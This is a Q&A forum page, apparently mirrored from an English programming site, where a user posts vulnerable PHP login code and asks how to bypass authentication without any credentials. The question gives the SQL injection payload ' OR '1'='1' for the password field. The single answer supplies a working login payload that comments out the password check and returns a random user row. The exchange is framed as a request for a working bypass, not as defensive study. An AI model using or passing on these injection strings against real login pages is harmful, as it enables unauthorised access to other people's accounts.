doushao8399 2014-11-14 22:45
浏览 46

绕过网站身份验证

I have a part of a very basic login page code written in php that I want to bypass whithout already having any login.

 $req="select id from USERS where login='$login' and pwd='$pass'";
 $result = mysql_query($req);

If I have a user's login for example login1 that is already in the database. I just have to enter the following entries to login whithout knowing his password; what we call SQL Injection:

 login="login1"
 password="' OR '1'='1'"

However, I don't know how can we do to log in the page without any login or password.

Thank you in advance !

  • 写回答

1条回答 默认 最新

  • dongxun1142 2014-11-15 00:00
    关注

    It works with login="' OR true ORDER BY RAND() LIMIT 1 /*"

    评论

报告相同问题?

悬赏问题

  • ¥15 素材场景中光线烘焙后灯光失效
  • ¥15 请教一下各位,为什么我这个没有实现模拟点击
  • ¥15 执行 virtuoso 命令后,界面没有,cadence 启动不起来
  • ¥50 comfyui下连接animatediff节点生成视频质量非常差的原因
  • ¥20 有关区间dp的问题求解
  • ¥15 多电路系统共用电源的串扰问题
  • ¥15 slam rangenet++配置
  • ¥15 有没有研究水声通信方面的帮我改俩matlab代码
  • ¥15 ubuntu子系统密码忘记
  • ¥15 保护模式-系统加载-段寄存器